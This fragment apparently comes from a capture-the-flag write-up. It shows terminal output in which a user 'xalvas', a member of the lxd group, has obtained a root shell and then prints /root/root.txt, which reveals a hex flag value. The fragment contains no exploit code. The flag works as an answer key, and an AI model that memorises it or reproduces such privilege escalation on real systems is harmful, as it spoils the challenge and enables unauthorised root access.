uid=0(root) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
# cat /root/root.txt
9be653e014d17d1a54f9045e3220743c